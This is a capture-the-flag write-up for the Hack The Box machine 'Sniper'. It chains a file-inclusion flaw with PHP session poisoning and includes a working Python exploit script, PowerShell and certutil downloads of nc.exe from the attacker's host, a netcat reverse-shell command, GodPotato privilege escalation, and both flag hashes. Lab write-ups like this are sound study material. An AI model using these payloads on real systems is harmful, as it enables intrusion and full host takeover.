Sniper
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Sniper is a medium Windows box whose trick is joining two things that are worth nothing apart. The first is an LFI in the blog'slangparameter: it includes whatever file it is given, andwin.inicomes back through it (LFI and path traversal). The second is a user portal with open registration, and PHP stores every visitor's session in a text file,C:\Windows\Temp\sess_<PHPSESSID>, with the username inside it (session poisoning). Joining them is the box: if the username is PHP code, the session file contains it, and the LFI includes it, which means it runs (poisoning an included file). That downloads annc.exeand opens a shell asiusr, which carriesSeImpersonatePrivilegeand thereforeSYSTEMthroughGodPotato(GodPotato, abusing SeImpersonatePrivilege). The step that automates it is a sixty-line Python script, because registering, logging in and requesting the file all have to happen in the same cookie flow.
About the evidence. Five captures are published, all of them interfaces (section 12.7 of the standard): thelangparameter in the address bar, the portal's sign-up link, the registration and login forms with the test data typed in, and the portal from inside with Firefox's storage panel showing thePHPSESSIDcookie. That last one is what joins the two halves: the identifier visible there is exactly the filename the followingcurlreads. Everything else is a terminal and goes as text. Two gaps the note does not preserve, stated instead of filled in: the execution ofgp.exe, which is the command that opens theSYSTEMshell and appears nowhere, and the creation of theC:\Windows\Temp\privescdirectory. Thewhoami /privoutput is cut mid-line in the note and is published as it is. Both flags are complete because the box is retired.
Recon#
Initial scan#
The returning TTL points at the operating system: each OS starts it at a default value and each router drops it by one per hop. ttl=127 is 128 minus one hop, so Windows.
ping -c 1 10.129.229.664 bytes from 10.129.229.6: icmp_seq=1 ttl=127 time=32.8 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.229.6 -oG scanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-10 14:39 +0000 Initiating SYN Stealth Scan at 14:39 Scanning 10.129.229.6 [65535 ports] Discovered open port 139/tcp on 10.129.229.6 Discovered open port 80/tcp on 10.129.229.6 Discovered open port 135/tcp on 10.129.229.6 Discovered open port 445/tcp on 10.129.229.6 Discovered open port 49667/tcp on 10.129.229.6 Completed SYN Stealth Scan at 14:39, 26.36s elapsed (65535 total ports) Nmap scan report for 10.129.229.6 Host is up, received user-set (0.034s latency). Scanned at 2026-11-10 14:39:18 UTC for 26s Not shown: 65530 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 26.44 seconds Raw packets sent: 131085 (5.768MB) | Rcvd: 51 (3.388KB)
nmap -p80,135,139,445,49667 -sCV 10.129.229.6 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-11-10 14:41 +0000 Nmap scan report for 10.129.229.6 Host is up (0.022s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Sniper Co. |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 49667/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-11-10T21:42:09 |_ start_date: N/A |_clock-skew: 6h59m47s | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 95.38 seconds
SMB is open but has nothing to offer, so everything goes through 80.
HTTP - TCP 80#
whatweb http://10.129.229.6/http://10.129.229.6/ [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.229.6], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
IIS serving PHP, an unusual pairing and one that matters: system paths will be Windows ones, and the temporary directory where PHP keeps sessions will be C:\Windows\Temp, not /tmp.
dirsearch -u http://10.129.229.6/ --exclude-status=403,404 -t 200 2>/dev/null... [14:58:20] Starting: [14:58:23] 301 - 146B - /js -> http://10.129.229.6/js/ [14:58:39] 301 - 148B - /blog -> http://10.129.229.6/blog/ [14:58:39] 200 - 6KB - /blog/ [14:58:43] 301 - 147B - /css -> http://10.129.229.6/css/ [14:58:49] 301 - 150B - /images -> http://10.129.229.6/images/ [14:59:10] 301 - 148B - /user -> http://10.129.229.6/user/ [14:59:10] 302 - 0B - /user/ -> login.php [14:59:10] 200 - 5KB - /user/login.php Task Completed
Two different applications: a /blog/ and a /user/ that redirects to a login.php. Each one on its own is harmless.
First half: LFI in the language selector#

The Language menu does not load a different page: it hands the translation file's name to the lang parameter, and the page includes it. A parameter that takes a filename is an LFI until proven otherwise, and the standard probe on Windows is win.ini, which always exists and says nothing.
curl 'http://10.129.229.6/blog/?lang=/windows/win.ini' | tail -n 15% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1455 100 1455 0 0 638 0 00:02 00:02 645 </body> </html> ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 </body> </html>
win.ini's content comes out after the page's </html>: the include runs at the end of the template and what it reads gets pasted behind. It is not a file_get_contents returning text, it is an include, and that difference is the whole box: an include does not print the file, it runs it as PHP. What is missing is getting a file on disk to contain code of ours.
Second half: session poisoning in the portal#

The portal allows registration, which is what turns a form into a data entry point we control.



The portal does nothing ("Under Construction"), and that is fine: what matters is the cookie. PHP stores each visitor's session in a file whose name is sess_ followed by that identifier, and on Windows that file lives in C:\Windows\Temp. The LFI can read it.
curl 'http://10.129.229.6/blog/?lang=/windows/temp/sess_an81avecgfdbp5g9mbi4o71pt1' | tail -n 7% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1383 100 1383 0 0 614 0 00:02 00:02 620 </body> </html> username|s:4:"test";</body> </html>
There is the whole box in one line: username|s:4:"test";. The session file stores, in plain text, the username we registered with. And that file is the one we are feeding to an include.
The conclusion is immediate: if instead of test the username is PHP code, it will be stored exactly as it is in the session file, and the next inclusion will run it. It is the same mechanism as log poisoning (poisoning an included file), except that instead of writing to a log you write to the session, which is cleaner because there is no log to locate and no rotation to wait for.
Shell as iusr: joining the two halves#
Doing it by hand is awkward: you have to register a user, log in as them, keep the cookie the server returns and request the include within that same session, because the session file only exists while the cookie lives. That is exactly what script.py automates, with a requests.Session() that carries the cookies from one request to the next.
cp /cpts/172.16.139.35_srv01/tools/nc.exe .python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
#!/usr/bin/env python3
import requests
import secrets
import base64
BASE = "http://10.129.229.6"
PASSWORD = "1234"
REGISTER = f"{BASE}/user/registration.php"
LOGIN = f"{BASE}/user/login.php"
BLOG = f"{BASE}/blog/"
def encode_ps(command):
return base64.b64encode(
command.encode("utf-16le")
).decode("ascii")
def main():
print("[+] HTB Sniper - Session LFI test")
command = input("[?] Introduce el comando PowerShell: ").strip()
if not command:
raise ValueError("El comando no puede estar vacío")
encoded = encode_ps(command)
print(f"[+] Base64 UTF-16LE: {encoded}")
nonce = secrets.token_hex(4)
username = f"<?=`powershell /enc {encoded}`?>{nonce}"
email = f"lab{nonce}@example.com"
print(f"[+] Email: {email}")
print(f"[+] Password: {PASSWORD}")
print(f"[+] Username length: {len(username)} caracteres")
with requests.Session() as s:
s.headers.update({
"User-Agent": "Mozilla/5.0"
})
# Register
s.get(REGISTER, timeout=15).raise_for_status()
r = s.post(REGISTER, data={
"email": email,
"username": username,
"password": PASSWORD,
"submit": " "
}, timeout=15)
print(f"[+] Registro HTTP: {r.status_code}")
if "error" in r.text.lower() or r.status_code != 200:
print(f"[-] Respuesta de registro: {r.text[:300]}")
# Login
s.get(LOGIN, timeout=15).raise_for_status()
r = s.post(LOGIN, data={
"username": username,
"password": PASSWORD,
"submit": " "
}, timeout=15)
print(f"[+] Login HTTP: {r.status_code}")
if "Username/password is incorrect." in r.text:
print(f"[-] Respuesta HTML de fallo: {r.text[:300]}")
raise RuntimeError("Login rechazado (posible truncamiento en BD o caracteres no permitidos)")
# Cookie de la sesión
sid = s.cookies.get("PHPSESSID")
if not sid:
raise RuntimeError("PHPSESSID no encontrada")
print(f"[+] PHPSESSID: {sid}")
path = f"/windows/temp/sess_{sid}"
r = s.get(BLOG, params={
"lang": path
}, timeout=20)
r.raise_for_status()
print(f"[+] URL: {r.url}")
print("[+] Últimos 700 caracteres:")
print(r.text[-700:])
if __name__ == "__main__":
try:
main()
except (requests.RequestException, RuntimeError) as e:
print(f"[-] Error: {e}")Three of the script's decisions deserve an explanation.
The payload is <?=powershell /enc <base64>?>. The <?= is PHP's short echo tag, which saves characters; the backticks are PHP's execution operator, equivalent to shell_exec; and /enc makes PowerShell read the command as base64 of UTF-16LE, which is what PowerShell expects. Encoding it keeps the command's quotes, slashes and spaces from having to survive an HTML form, a database and a session file.
The random nonce is appended to the username and reused in the email. It is not decoration: every run needs a new user, because the portal will not register the same one twice, and without the nonce the second attempt would fail.
And the login's raise RuntimeError checks for the exact string Username/password is incorrect. A registration returning 200 does not guarantee the user can log in: if the database truncates the field, the password no longer matches. So it is verified rather than assumed.
python3 script.py[+] HTB Sniper - Session LFI test [?] Introduce el comando PowerShell: iwr 10.10.15.120/nc.exe -o C:\Windows\Temp\nc.exe [+] Base64 UTF-16LE: aQB3AHIAIAAxADAALgAxADAALgAxADUALgAxADIAMAAvAG4AYwAuAGUAeABlACAALQBvACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABuAGMALgBlAHgAZQA= [+] Email: labe3e9c199@example.com [+] Password: 1234 [+] Username length: 163 caracteres [+] Registro HTTP: 200 [+] Login HTTP: 200 [+] PHPSESSID: k69p4c4audhb13v1pme923oun4 [+] URL: http://10.129.229.6/blog/?lang=%2Fwindows%2Ftemp%2Fsess_k69p4c4audhb13v1pme923oun4 [+] Últimos 700 caracteres: i> ... </html> username|s:163:"e3e9c199";</body> </html>
The final line is the proof: the session file declares s:163, the 163 characters of the full username, but prints only e3e9c199, the nonce at the end. The 155 missing characters are the <?= ... ?>, which was not printed because it was executed. The iwr has already dropped nc.exe into C:\Windows\Temp.
The second run fires the netcat at our listener.
python3 script.py[+] HTB Sniper - Session LFI test [?] Introduce el comando PowerShell: C:\windows\temp\nc.exe 10.10.15.120 4444 -e cmd.exe [+] Base64 UTF-16LE: QwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAXABuAGMALgBlAHgAZQAgADEAMAAuADEAMAAuADEANQAuADEAMgAwACAANAA0ADQANAAgAC0AZQAgAGMAbQBkAC4AZQB4AGUA [+] Email: labdc75dd21@example.com [+] Password: 1234 [+] Username length: 167 caracteres [+] Registro HTTP: 200 [+] Login HTTP: 200 [+] PHPSESSID: f003p9k2o0n3tvo7ag6jdgmfqa [-] Error: HTTPConnectionPool(host='10.129.229.6', port=80): Read timed out. (read timeout=20)
The error is the success. The Read timed out does not mean it failed: it means the request never finished answering, because the PHP serving it is busy running an nc.exe that is not coming back. What returns the proof is the listener, not the script.
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.112 • 172.17.0.1 • 10.10.15.120 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from SNIPER~10.129.229.6-Microsoft_Windows_Server_2019_Standard-x64-based_PC 😍 Assigned SessionID <1> [+] Added readline support... [+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D [+] Logging to /home/krmena/.penelope/sessions/SNIPER~10.129.229.6-Microsoft_Windows_Server_2019_Standard-x64-based_PC/2026_11_10-19_01_36-578.log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
whoamiwhoami nt authority\iusr
IUSR is the anonymous account IIS serves web requests under. As a user it has nothing, and as a service account it has everything.
Privilege escalation#
whoami /privwhoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ========================================= ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects
SeImpersonatePrivilege: Enabled, again. The system is a Server 2019, as penelope said when it took the shell, and on that version JuicyPotato no longer works: it is GodPotato's turn.
cp /machines/proving_grounds/jacko/exploits/godpotatonet4.exe .
mv godpotatonet4.exe gp.exepython3 -m http.server 8081Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
certutil.exe -f -urlcache -split http://10.10.15.120:8081/gp.exe gp.execertutil.exe -f -urlcache -split http://10.10.15.120:8081/gp.exe gp.exe **** Online **** 0000 ... e000 CertUtil: -URLCache command completed successfully.
certutil.exe -f -urlcache -split http://10.10.15.120:8081/nc.exe nc.execertutil.exe -f -urlcache -split http://10.10.15.120:8081/nc.exe nc.exe **** Online **** 0000 ... e800 CertUtil: -URLCache command completed successfully.
dirdir Volume in drive C has no label. Volume Serial Number is AE98-73A8 Directory of C:\Windows\Temp\privesc 11/10/2026 07:45 PM <DIR> . 11/10/2026 07:45 PM <DIR> .. 11/10/2026 07:45 PM 57,344 gp.exe 11/10/2026 07:45 PM 59,392 nc.exe 2 File(s) 116,736 bytes 2 Dir(s) 2,405,965,824 bytes free
Both binaries are in place. The execution of gp.exe is not in the note: the command launching GodPotato with nc.exe as its payload, the one that opens the SYSTEM shell, was not preserved. What was preserved is its consequence.
rlwrap nc -nlvp 1111listening on [any] 1111 ... connect to [10.10.15.120] from (UNKNOWN) [10.129.229.6] 49884 Microsoft Windows [Version 10.0.17763.678] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>
echo %USERNAME%echo %USERNAME% SNIPER$
SNIPER$, with the trailing dollar, is the machine account's name. That is how SYSTEM identifies itself when asked for the USERNAME environment variable, because it is the account the machine presents itself with on the network. It is not a different user: it is the highest local privilege.
dir C:\users\dir C:\users\ Volume in drive C has no label. Volume Serial Number is AE98-73A8 Directory of C:\users 04/11/2019 06:04 AM <DIR> . 04/11/2019 06:04 AM <DIR> .. 04/09/2019 05:47 AM <DIR> Administrator 04/11/2019 06:04 AM <DIR> Chris 04/09/2019 05:47 AM <DIR> Public 0 File(s) 0 bytes 5 Dir(s) 2,404,839,424 bytes free
type C:\users\chris\desktop\user.txttype C:\users\chris\desktop\user.txt 816b7c39ac30f49620665e6ef0d9ac1f
type C:\Users\Administrator\Desktop\root.txttype C:\Users\Administrator\Desktop\root.txt 6a31d166ec44c881692c3906714f4fbb
Both flags: 816b7c39ac30f49620665e6ef0d9ac1f and 6a31d166ec44c881692c3906714f4fbb. The user flag is read from SYSTEM and there never was a shell as chris: with the highest privilege, the permissions on their desktop are irrelevant.
Attack chain#
ping ttl=127 → Windows / nmap: 80 (IIS with PHP 7.3.1), 135, 139, 445
│ dirsearch: /blog/ and /user/ -> login.php
▼
/blog/?lang= includes whatever file it is given
│ ?lang=/windows/win.ini ─► comes out AFTER the </html>: an include, not a read
▼
/user/ allows registration ─► cookie PHPSESSID an81avecgfdbp5g9mbi4o71pt1
│ ?lang=/windows/temp/sess_<id> ─► username|s:4:"test";
▼
The username is stored AS IS in the session file
│ username = <?=`powershell /enc <base64 UTF-16LE>`?><nonce>
▼
script.py: registers, logs in, carries the cookie and requests the include in the SAME session
│ 1st pass: iwr nc.exe -> C:\Windows\Temp (s:163 and only the nonce prints)
│ 2nd pass: nc.exe <kali> 4444 -e cmd.exe (Read timed out = the shell is already running)
▼
penelope ─► nt authority\iusr
│ whoami /priv: SeImpersonatePrivilege Enabled, and the system is Server 2019
▼
GodPotato (gp.exe) + nc.exe in C:\Windows\Temp\privesc [escalation]
│ rlwrap nc -nlvp 1111 ─► echo %USERNAME%: SNIPER$ (that is, SYSTEM)
▼
user.txt on chris's desktop and root.txt on the Administrator'sLessons learned#
- An
includeis not aread, and the difference is code execution. Thatwin.inicomes out after the</html>already gives it away: the template ends and the file is processed behind it. If what gets included has PHP inside, PHP runs it. - An LFI with nothing to include is worth nothing; the work is manufacturing the file. Here the road was not a log but the session, which is more reliable: the filename comes from the cookie itself, the content is chosen by whoever registers, and there is no rotation to wait for.
- Open registration is a writable surface. Any field the server stores verbatim on disk is a candidate, and the username ends up in the session file unfiltered.
- Follow the cookies, not just the requests. The session file exists because a session is alive; registering, logging in and reading have to happen in the same flow, which is why the automation is a
requests.Session()and not three separatecurls. - Encoding the command skips three layers of escaping.
powershell /enctakes base64 of UTF-16LE, so the payload carries no quotes, no spaces and no slashes that could break on the way through a form, a database and a session file. - A client-side error can be the confirmation of success. The
Read timed outon the second attempt is the PHP blocked running the shell: the proof is not in the HTTP response but in the listener. IUSRhas no permissions and still has everything. It is IIS's anonymous account, and like every service account it ships withSeImpersonatePrivilege. Which Potato to use is decided by the version: on Server 2019JuicyPotatois out andGodPotatois in.